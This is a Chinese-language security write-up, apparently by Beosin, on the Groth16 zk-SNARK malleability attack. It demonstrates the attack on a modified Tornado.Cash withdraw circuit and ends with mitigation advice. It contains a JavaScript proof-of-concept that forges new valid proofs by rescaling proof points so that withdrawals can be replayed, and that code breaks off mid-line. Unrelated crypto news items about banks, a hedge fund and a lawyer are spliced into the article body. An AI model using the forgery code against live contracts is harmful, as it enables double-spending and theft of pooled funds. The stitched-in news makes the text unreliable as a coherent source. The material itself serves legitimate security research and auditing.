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BSP:深入探究 Tornado.Cash 揭示zkp項目的延展性攻擊_OptionRoom

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Time:1900/1/1 0:00:00

在上篇文章里,我們從原理的角度闡述了 Groth16 證明系統本身存在的延展性漏洞,本文中我們將以Tornado.Cash項目為例,魔改其部分電路和代碼,介紹延展性攻擊流程以及該項目中對應的防范措施,希望其他zkp項目方也引起注意。

其中,Tornado.Cash使用snarkjs庫進行開發,同樣基于如下開發流程,后續就直接進行介紹,不熟悉該庫的請閱讀本系列第一篇文章。(Beosin | 深度剖析零知識證明zk-SNARK漏洞:為什么零知識證明系統并非萬無一失?)

(圖源:https://docs.circom.io/)

User:使用該DApp進行混幣器隱私交易,包括存、取款。

Web page:DApp的前端網頁,網頁上包含一些用戶按鈕。

Relayer:為防止鏈上節點記錄發起隱私交易的ip地址等信息,該服務器會代替用戶重放交易,進一步增強隱私性。

Contract:包含一個代理合約Tornado.Cash Proxy,該代理合約會根據用戶存取款的金額選擇指定的Tornado池子進行后續的存取款操作。目前已存在4個池子,金額分別為:0.1、1、10、100。

User首先在Tornado.Cash的前端網頁上進行對應操作,觸發存款或取款交易,接著由Relayer將其交易請求轉發到鏈上的Tornado.Cash Proxy合約,并根據交易金額轉發到對應的Pool中,最終進行存款和取款等處理,具體的架構如下:

deposit:當用戶進行存款交易時,首先在前端網頁上選擇存入的代幣(BNB、ETH等)和對應的數額,為了更好的確保用戶的隱私性,只能存入四種金額數量;

圖源:<https://ipfs.io/ipns/tornadocash.eth/>

接著服務器會生成兩個31字節的隨機數nullifier、secret,將其拼接后進行pedersenHash運算即可得到commitment,將nullifier+secret加上前綴作為note返回給用戶,note如下圖:

隨后發起一筆deposit交易將commitment等數據發送到鏈上Tornado.Cash Proxy合約中,代理合約根據deposit的金額將數據轉發至對應的Pool中,最后Pool合約將commitment作為葉子結點插入到merkle tree,并將計算出的root存儲在Pool合約中。

withdraw:當用戶進行取款交易時,首先在前端網頁上輸入deposit時返回的note數據和收款地址;

接著服務器會在鏈下檢索出所有Tornadocash的deposit事件,提取其中的commitment構建鏈下的Merkle tree,并根據用戶給出的note數據(nullifier+secret)生成commitment并生成對應的Merkle Path和對應的root,并作為電路輸入得到零知識SNARK proof;最后,再發起一筆withdraw交易到鏈上的Tornado.Cash Proxy合約中,接著根據參數跳轉到對應的Pool合約中驗證證明,將錢打入用戶指定的接收者地址。

中央財經大學:與中國銀行在數字人民幣領域深入開展合作:金色財經報道,中央財經大學近日與中國銀行簽署戰略合作協議,雙方將圍繞數字經濟、數字人民幣等方面開展研究,推動合作項目落地實施。根據協議,雙方還將進一步在銀校系統對接、數字人民幣等領域深入開展合作。(中央財經大學官方公眾號)[2021/10/5 17:24:39]

其中,Tornado.Cash 的withdraw核心其實就是在不暴露用戶持有的nullifier、secret的情況下,證明某個commitment存在于Merkle tree上,具體的默克爾樹結構如下:

針對第一篇文章Groth16 延展性攻擊原理,我們知道攻擊者使用相同的nullifier、secret其實可以生成多個不同的Proof,那么如果開發者沒有考慮到Proof重放造成的雙花攻擊,就會威脅到項目資金。在對Tornado.Cash進行魔改之前,本文先介紹一下Tornado.Cash最終處理withdraw的Pool中代碼:

/**    @dev Withdraw a deposit from the contract. `proof` is a zkSNARK proof data, and input is an array of circuit public inputs    `input` array consists of:      - merkle root of all deposits in the contract      - hash of unique deposit nullifier to prevent double spends      - the recipient of funds      - optional fee that goes to the transaction sender (usually a relay)  */  function withdraw(    bytes calldata _proof,    bytes32 _root,    bytes32 _nullifierHash,    address payable _recipient,    address payable _relayer,    uint256 _fee,    uint256 _refund  ) external payable nonReentrant {    require(_fee <= denomination, "Fee exceeds transfer value");    require(!nullifierHashes[_nullifierHash], "The note has been already spent");    require(isKnownRoot(_root), "Cannot find your merkle root"); // Make sure to use a recent one    require(      verifier.verifyProof(        _proof,        [uint256(_root), uint256(_nullifierHash), uint256(_recipient), uint256(_relayer), _fee, _refund]      ),      "Invalid withdraw proof"    );    nullifierHashes[_nullifierHash] = true;    _processWithdraw(_recipient, _relayer, _fee, _refund);    emit Withdrawal(_recipient, _nullifierHash, _relayer, _fee);  }上圖中為了防止攻擊者使用同一個Proof進行雙花攻擊,而又不暴露nullifier、secret,Tornado.Cash在電路中增加了一個公共信號nullifierHash,它是由nullifier進行Pedersen哈希得到,可以作為參數傳到鏈上,Pool合約再使用該變量標識一個正確的Proof是否已經被使用過。但是如果項目方不采用修改電路的方式,而是直接以記錄Proof方式來防止雙花,畢竟這樣做可以減少電路約束,從而節省開銷,但是能否達到目的呢?

對沖基金Third Point CEO:一直在深入研究加密貨幣:美國紐約對沖基金Third Point 首席執行官Daniel Loeb表示其一直在深入研究加密貨幣。(U.Today)[2021/3/1 18:05:03]

對于此猜想,本文將刪除電路中新增的nullifierHash公共信號,并將合約校驗改為Proof校驗。由于Tornado.Cash在每次withdraw時都會獲取所有的deposit事件組建merkle tree再校驗生成的root值是否在最近生成的30個之內,整個過程太過麻煩,因此本文電路也將刪除merkleTree電路,僅僅留下withdraw部分的核心電路,具體電路如下:

include "../../../../node_modules/circomlib/circuits/bitify.circom";  include "../../../../node_modules/circomlib/circuits/pedersen.circom";// computes Pedersen(nullifier + secret)template CommitmentHasher() {    signal input nullifier;    signal input secret;    signal output commitment;    // signal output nullifierHash;   // delete    component commitmentHasher = Pedersen(496);    // component nullifierHasher = Pedersen(248);    component nullifierBits = Num2Bits(248);    component secretBits = Num2Bits(248);    nullifierBits.in <== nullifier;    secretBits.in <== secret;    for (var i = 0; i < 248; i++) {        // nullifierHasher.in[i] <== nullifierBits.out[i];  // delete        commitmentHasher.in[i] <== nullifierBits.out[i];        commitmentHasher.in[i + 248] <== secretBits.out[i];    }    commitment <== commitmentHasher.out;    // nullifierHash <== nullifierHasher.out;   // delete}// Verifies that commitment that corresponds to given secret and nullifier is included in the merkle tree of deposits    signal output commitment;    signal input recipient; // not taking part in any computations    signal input relayer;  // not taking part in any computations    signal input fee;      // not taking part in any computations    signal input refund;   // not taking part in any computations    signal input nullifier;    signal input secret;    component hasher = CommitmentHasher();    hasher.nullifier <== nullifier;    hasher.secret <== secret;    commitment <== hasher.commitment;    // Add hidden signals to make sure that tampering with recipient or fee will invalidate the snark proof    // Most likely it is not required, but it's better to stay on the safe side and it only takes 2 constraints    // Squares are used to prevent optimizer from removing those constraints    signal recipientSquare;    signal feeSquare;    signal relayerSquare;    signal refundSquare;    recipientSquare <== recipient * recipient;    feeSquare <== fee * fee;    relayerSquare <== relayer * relayer;    refundSquare <== refund * refund;}component main = Withdraw(20);注意:我們在實驗過程中發現,TornadoCash 在 GitHub 中的最新版代碼里(https://github.com/tornadocash/tornado-core), withdraw 電路缺乏輸出信號,需要人工修正才能正確運行。

聲音 | 律師劉曄:法院可以更一步深入了解并思考比特幣SV的屬性:上海市海上律師事務所合伙人劉曄在微博表示:當法院進一步思考時,當知道,比特幣并非虛擬財產而是真實財產。當更一步深入了解并思考時,當知道,比特幣SV乃遵循比特幣白皮書的原始理念,乃真正比特幣,其不僅僅是真實財產,且以提供真實賬本空間服務的形式在實現真實商品屬性的同時(當下法律),也逐漸走向成為全球貨幣之路(未來法律)。據媒體報道,今日,首例比特幣財產侵權糾紛案在杭州互聯網法院開庭宣判。本次庭審法院確認了比特幣“虛擬財產”屬性。[2019/7/18]

根據上述修改后的電路,使用snarkjs庫等按照本文開始給出的開發流程逐步進行,生成如下正常Proof,記為proof1:

The proof: {  pi_a: [    12731245758885665844440940942625335911548255472545721927606279036884288780352n,    11029567045033340566548367893304052946457319632960669053932271922876268005970n,    1n  ],  pi_b: [    [      4424670283556465622197187546754094667837383166479615474515182183878046002081n,      8088104569927474555610665242983621221932062943927262293572649061565902268616n    ],    [      9194248463115986940359811988096155965376840166464829609545491502209803154186n,      18373139073981696655136870665800393986130876498128887091087060068369811557306n    ],    [ 1n, 0n ]  ],  pi_c: [    1626407734863381433630916916203225704171957179582436403191883565668143772631n,    10375204902125491773178253544576299821079735144068419595539416984653646546215n,    1n  ],  protocol: 'groth16',  curve: 'bn128'}2.2 實驗驗證2.2.1 驗證證明 — circom 生成的默認合約首先,我們使用circom 生成的默認合約進行驗證,該合約由于根本沒有記錄任何已經使用過的Proof相關信息,攻擊者可多次重放proof1造成雙花攻擊。在下列實驗中,可以針對同一電路的同一個input,無限次重放proof,均能通過驗證。

工信部于佳寧:深入理解區塊鏈,要從兩個層次來看:近日,工業和信息化部信息中心工業經濟研究所所長,中國計算機學會區塊鏈專委會委員于佳寧在接受《人民創投·區塊鏈》采訪時表示,區塊鏈有兩個層次的含義:第一個層次強調技術層面創新,是一種分布式、不可篡改的數據庫技術。這項新技術有力擴展了數據庫技術的使用場景和應用范圍,使得數據庫技術在“弱信任”的環境中也可以應用。第二個層次強調模式層面的創新,實際上是一種新型獨立數字資產載體,可以助力實現資產的數字化。[2018/5/23]

下圖是使用proof1在默認合約中證明驗證通過的實驗截圖,包含上篇文章中使用的Proof參數A、B、C,以及最終的結果:

下圖是我們使用同樣的proof1多次調用verifyProof函數進行證明驗證的結果,實驗發現針對同一input,無論攻擊者使用多少次proof1進行驗證,都可以通過:

當然在我們在snarkjs原生的js代碼庫中進行測試,也并未對已經使用過的Proof進行防范,實驗結果如下:

針對circom 生成的默認合約中的重放漏洞,本文記錄已使用過的正確Proof(proof1)中的一個值,以達到防止使用驗證過的proof進行重放攻擊的目的,具體如下圖所示:

繼續使用proof1進行驗證,實驗發現在使用同樣Proof進行二次驗證時,交易revert報錯:"The note has been already spent",結果如下圖所示:

但是此時雖然達到了防止普通proof重放攻擊的目的,但是前文介紹過groth16算法存在延展性漏洞問題,這種防范措施仍可以被繞過。于是下圖我們構造PoC,按照第一篇文章中的算法針對同一input生成偽造的zk-SNARK證明,實驗發現仍然能通過驗證。生成偽造證明proof2的PoC代碼如下:

import WasmCurve from "/Users/saya/node_modules/ffjavascript/src/wasm_curve.js"import ZqField from "/Users/saya/node_modules/ffjavascript/src/f1field.js"import groth16FullProve from "/Users/saya/node_modules/snarkjs/src/groth16_fullprove.js"import groth16Verify from "/Users/saya/node_modules/snarkjs/src/groth16_verify.js";import * as curves from "/Users/saya/node_modules/snarkjs/src/curves.js";import fs from "fs";import {  utils }   from "ffjavascript";const {unstringifyBigInts} = utils;groth16_exp();async function groth16_exp(){    let inputA = "7";    let inputB = "11";    const SNARK_FIELD_SIZE = BigInt('21888242871839275222246405745257275088548364400416034343698204186575808495617');    // 2. 讀取string后轉化為int    const proof = await unstringifyBigInts(JSON.parse(fs.readFileSync("proof.json","utf8")));    console.log("The proof:",proof);    // 生成逆元,生成的逆元必須在F1域    const F = new ZqField(SNARK_FIELD_SIZE);    // const F = new F2Field(SNARK_FIELD_SIZE);    const X = F.e("123456")    const invX = F.inv(X)    console.log("x:" ,X )    console.log("invX" ,invX)    console.log("The timesScalar is:",F.mul(X,invX))    // 讀取橢圓曲線G1、G2點    const vKey = JSON.parse(fs.readFileSync("verification_key.json","utf8"));    // console.log("The curve is:",vKey);    const curve = await curves.getCurveFromName(vKey.curve);    const G1 = curve.G1;    const G2 = curve.G2;    const A = G1.fromObject(proof.pi_a);    const B = G2.fromObject(proof.pi_b);    const C = G1.fromObject(proof.pi_c);    const new_pi_a = G1.timesScalar(A, X);  //A'=x*A    const new_pi_b = G2.timesScalar(B, invX);  //B'=x^{-1}*B    proof.pi_a = G1.toObject(G1.toAffine(A));    proof.new_pi_a = G1.toObject(G1.toAffine(new_pi_a))    proof.new_pi_b = G2.toObject(G2.toAffine(new_pi_b))    // 將生成的G1、G2點轉化為proof    console.log("proof.pi_a:",proof.pi_a);    console.log("proof.new_pi_a:",proof.new_pi_a)    console.log("proof.new_pi_b:",proof.new_pi_b。生成的偽造證明proof2,具體如下圖所示:

中國發展高層論壇將對區塊鏈技術進行深入討論:2018年中國發展高層論壇將于3月24至26日在北京舉行,中國發展研究基金會相關人士表示,中國發展高層論壇在今年迎來了第19屆。圍繞高質量發展、財稅體制改革、供給側結構性改革與金融政策、全面開放新格局、創新與未來等重大議題,中外方嘉賓將開展深入討論。此外,參會嘉賓還將對中國改革開放四十周年、全球不平等、新時代的中美關系、一帶一路、人工智能時代的產業轉型、鄉村振興與農業現代化、金融創新與區塊鏈革命等熱點議題進行深入交流。[2018/2/26]

再次使用該參數調用verifyProof函數進行證明驗證時,實驗發現同一input的情況下使用proof2驗證再次通過了,具體如下所示:

雖然偽造的證明proof2也只能再使用一次,但由于針對同一input的偽造的證明存在幾乎無限多個,因此可能造成合約資金被無限次被提取。

本文同樣使用circom庫的js代碼進行測試,實驗結果proof1和偽造的proof2都可以通過驗證:

經歷了那么多次失敗,難道沒有一種方式可以一勞永逸嗎?此處按照Tornado.Cash中通過校驗原始input是否已經被使用的做法,本文繼續修改合約代碼如下:

需要說明的是,為了展示groth16算法延展性攻擊的防范簡單措施,**本文采取直接記錄原始電路input的方式,但是這不符合零知識證明的隱私原則,電路輸入應當是保密的。**比如 Tornado.Cash中input都是private,需要重新新增一個public input標識一條Proof。本文由于電路中沒有新增標識,所以隱私性相對于Tornado.Cash來說較差,僅作為實驗Demo展示結果如下:

可以發現,上圖中使用同一input的Proof,只有第一次可以通過驗證proof1,隨后該proof1和偽造的proof2都不能通過校驗。

本文主要通過魔改TornadoCash的電路和使用開發者常用的Circom默認生成的合約驗證了重放漏洞的真實性和危害,并進一步驗證了使用在合約層面的普通措施可以防護重放漏洞,但無法防止groth16的延展性攻擊,對此,我們建議零知識證明的項目在項目開發時,應注意:

與傳統DApp使用地址等唯一數據生成節點數據的方式不同,zkp項目通常是使用組合隨機數的方式生成Merkle tree節點,需要注意業務邏輯是否允許插入相同數值節點的情況。因為相同的葉子結點數據可能導致部分用戶資金被鎖死在合約中,或者是同一葉子節點數據存在多個Merkle Proof混淆業務邏輯的情況。

zkp項目方通常使用mapping記錄已使用的過的Proof,防范雙花攻擊。需要注意使用Groth16開發時,由于存在延展性攻擊,因此記錄需使用節點原始數據,而不能僅僅使用Proof相關數據標識。

復雜電路可能存在電路不確定、欠約束等問題,合約驗證時條件不完整,實現邏輯存在漏洞等問題,我們強烈建議項目方在項目上線時,尋求對電路和合約都有一定研究的安全審計公司進行全面審計,盡可能的保證項目安全。

Beosin

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